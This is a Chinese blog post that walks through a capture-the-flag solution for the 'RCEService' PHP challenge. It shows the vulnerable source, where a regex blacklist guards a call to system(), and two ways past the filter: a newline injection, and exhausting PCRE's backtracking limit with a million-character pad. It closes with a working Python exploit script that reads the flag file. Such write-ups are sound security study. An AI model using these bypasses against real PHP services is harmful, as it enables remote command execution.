PHP正则表达式之RCEService回溯


Posted in PHP onApril 11, 2022

PHP正则表达式之RCEService回溯

打开题目输入JSON类型的cmd后,尝试读取index.php的源代码,但是读取不出来,并且扫后台出来的/index以及/index/login也没有任何东西,实在不知道怎么做了,只能看一下别人的wp,发现别人以来都是审查源码,我就奇怪了,源码怎么弄来的,看了很多wp发现应该是比赛的时候直接给的源码,但是buu平台忘记加上了

<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
    $json = $_REQUEST['cmd'];
    if (!is_string($json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
        echo 'Hacking attempt detected<br/><br/>';
    } else {
        echo 'Attempting to run command:<br/>';
        $cmd = json_decode($json, true)['cmd'];
        if ($cmd !== NULL) {
            system($cmd);
        } else {
            echo 'Invalid input';
        }
        echo '<br/><br/>';
    }
}
?>

看到最后的system以及正则,看来这题是要绕过正则执行cmd命令了,这么多黑名单函数应该不会让我们找漏网之鱼吧,不会吧不会吧

我们看到正则表达式没有添加修饰符,那我们可以利用多行匹配这个漏洞了

PHP正则表达式之RCEService回溯

 在这里我们可以利用%0a换行符进行绕过正则匹配,而且可以看到要有修饰符s才会让.*匹配换行符,因此我们这里可以利用我们之前的ls试试能不能成功

PHP正则表达式之RCEService回溯

发现依然可以出来index.php;源代码中编译了环境变量path(我以为只是单纯暗示我们这个目录),我们就在那个目录下看看 

PHP正则表达式之RCEService回溯

发现了flag文件,我用nl,cat,more,less等命令都读取不出来 ,查资料发现,系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令

因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面

PHP正则表达式之RCEService回溯

 第二种办法也就是正则表达式回溯过多导致false,说实话我还是第一次听到正则的回溯问题

PHP利用PCRE回溯次数限制绕过某些安全限制

简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多

例子

PHP正则表达式之RCEService回溯

PHP正则表达式之RCEService回溯

 经过自己试试果然只能回溯一百万次

'/^.*

正则表达式最前面的匹配字符,^代表首个字母,'.'代表除换行符之外的所有字符,*代表前面那个表达式重复执行多次,因此他这里直接把我们的payload全部匹配完毕,导致后面的匹配不到字符了,只能一个个回溯

PHP正则表达式之RCEService回溯

再将后面的匹配一下字符,可以发现目前写的小写字母都没有过滤掉,因为十六进制\x00-\x1f换算成十进制并没有到小写字母的ascii值那个地方,因此我们可以任意利用一个小写字母×个一百万次,就可以让正则表达式直接失败

PHP正则表达式之RCEService回溯

import requests
url='http://5dd96313-13f8-4eb6-89eb-0dbb5a4ba30a.node3.buuoj.cn'
data={
    'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","feng":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)

Tags in this post...

PHP 相关文章推荐
PHP 存取 MySQL 数据库的一个例子
Oct 09 PHP
台湾中原大学php教程孙仲岳主讲
Jan 07 PHP
php学习之 认清变量的作用范围
Jan 26 PHP
php防注入,表单提交值转义的实现详解
Jun 10 PHP
php实现利用phpexcel导出数据
Aug 24 PHP
php中文字符串截取方法实例总结
Sep 30 PHP
PHP判断是否为空的几个函数对比
Apr 21 PHP
PHP常用的三种设计模式
Feb 17 PHP
ThinkPHP实现附件上传功能
Apr 27 PHP
PHP仿tp实现mvc框架基本设计思路与实现方法分析
May 23 PHP
PHP实现带进度条的Ajax文件上传功能示例
Jul 02 PHP
Yii实现微信公众号场景二维码的方法实例
Aug 30 PHP
微信小程序结合ThinkPHP5授权登陆后获取手机号
PHP遍历数组的6种方式总结
Nov 17 #PHP
关于PHP数组迭代器的使用方法实例
php双向队列实例讲解
Nov 17 #PHP
如何解决php-fpm启动不了问题
Nov 17 #PHP
一次项目中Thinkphp绕过禁用函数的实战记录
php修改word的实例方法
Nov 17 #PHP
You might like
php Try Catch异常测试
2009/03/01 PHP
新浪微博OAuth认证和储存的主要过程详解
2015/03/27 PHP
yii2 页面底部加载css和js的技巧
2016/04/21 PHP
laravel中的错误与日志用法详解
2016/07/26 PHP
PHP生成随机数的方法总结
2018/03/01 PHP
Linux下编译安装php libevent扩展实例
2015/02/14 Javascript
JS 动态加载js文件和css文件 同步/异步的两种简单方式
2016/09/23 Javascript
利用Angular+Angular-Ui实现分页(代码加简单)
2017/03/10 Javascript
微信小程序实现缓存根据不同的id来进行设置和读取缓存
2017/06/12 Javascript
详解探索 vuex 2.0 以及使用 vuejs 2.0 + vuex 2.0 构建记事本应用
2017/06/16 Javascript
vue项目国际化vue-i18n的安装使用教程
2018/03/14 Javascript
.vue文件 加scoped 样式不起作用的解决方法
2018/05/28 Javascript
Bootstrap开发中Tab标签页切换图表显示问题的解决方法
2018/07/13 Javascript
JavaScript 九种跨域方式实现原理
2019/02/11 Javascript
详解iframe跨域的几种常用方法(小结)
2019/04/29 Javascript
自定义javascript验证框架示例【附源码下载】
2019/05/31 Javascript
Layui多选只有最后一个值的解决方法
2019/09/02 Javascript
浅谈webpack和webpack-cli模块源码分析
2020/01/19 Javascript
[01:12]DOTA2 2015年秋季互动指南
2015/11/10 DOTA
python中pandas.DataFrame对行与列求和及添加新行与列示例
2017/03/12 Python
Django objects.all()、objects.get()与objects.filter()之间的区别介绍
2017/06/12 Python
Python异常处理操作实例详解
2018/05/10 Python
Windows 8.1 64bit下搭建 Scrapy 0.22 环境
2018/11/18 Python
keras 特征图可视化实例(中间层)
2020/01/24 Python
Python Selenium模块安装使用教程详解
2020/07/09 Python
香港演唱会订票网站:StubHub香港
2019/10/10 全球购物
应届生个人求职信模板
2013/11/26 职场文书
企划主管岗位职责
2013/12/12 职场文书
《云雀的心愿》教学反思
2014/02/25 职场文书
员工考核评语大全
2014/04/26 职场文书
信用卡工资证明格式
2014/09/13 职场文书
财务整改报告范文
2014/11/05 职场文书
电影地道战观后感
2015/06/04 职场文书
小时代观后感
2015/06/10 职场文书
浅谈redis五大数据结构和使用场景
2021/04/12 Redis
Redis Stream类型的使用详解
2021/11/11 Redis